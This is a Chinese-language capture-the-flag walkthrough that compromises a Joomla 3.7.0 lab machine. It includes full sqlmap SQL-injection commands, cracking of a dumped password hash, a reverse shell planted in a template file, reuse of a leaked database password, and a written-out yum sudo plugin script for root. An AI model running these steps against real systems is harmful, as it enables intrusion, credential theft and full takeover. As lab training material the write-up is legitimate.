靶机ip:10.10.158.159
信息收集
nmap扫描
nmap --min-rate 10000 -p- -sV -sC 10.10.158.159 -oN reports/nmap

发现有22,80,3306端口开放,并且在80端口上有robots.txt,开启了mysql服务
80端口

页面貌似没什么信息,扫描一下目录
gobuster dir -u http://10.10.158.159/ -w /usr/share/wordlists/dirb/common.txt

先看下robots.txt

综上来看这是一个joomla CMS,目录访问后并没有发现什么信息
SQL漏洞利用
使用joomscan测试一下
joomscan -u http://10.10.158.159/

发现版本是3.7.0,搜索一下是否有可以利用的漏洞
searchsploit joomla 3.7.0

发现在该版本存在sql注入,将文件复制下来查看

这里写了使用sqlmap工具进行sql注入,直接照着弄就行
sqlmap -u "http://10.10.158.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

利用成功,得到数据库,继续爆破表
sqlmap -u "http://10.10.158.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomla --tables -p list[fullordering]

得到很多表,我们重点看users表,先查看字段的值
sqlmap -u "http://10.10.158.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomla -T '#__users' --columns -p list[fullordering]

选项直接正常选就行

漫长等待后也是把字段爆破出来了,我们重点看用户名和密码
sqlmap -u "http://10.10.158.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomla -T '#__users' -C username,password --dump -p list[fullordering]

成功拿到了一组凭据
jonah : $2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm
密码是加密数据,这里使用john破解,先将密码保存至hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt

得到jonah用户的明文密码spiderman123
登录joomla

登陆成功
获得初始权限
查看后发现可以通过改写模板文件的内容getshell
首先点击右侧Template

再点击右侧的Template

选第一个Beez3

为了方便反弹shell,直接修改index.php文件
将php-reverse-shell.php写到文件中,并修改其中的ip和port

保存,在kali中起个监听

在页面中访问刚才修改的文件
http://10.10.158.159/templates/beez3/index.php

getshell成功!

现在只有一个初始访问权限,还需要横向移动到jjameson用户
提升至user权限
先查看文件

在查看文件的时候发现在 /var/www/html目录下有个configuration.php文件,查看一下

发现有密码nv5uz9r3ZEDzVjNu,貌似是root用户的,ssh登录一下

看样子不是root的密码,尝试ssh登陆jjameson

登陆成功

直接在当前页面找到user.txt
提升至root权限
先执行sudo -l看看是否有可利用的

可以使用yum提权
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF
cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF
cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
os.execl('/bin/sh','/bin/sh')
EOF
sudo yum -c $TF/x --enableplugin=y

提权成功

在/root目录下找到root.txt

说些什么吧!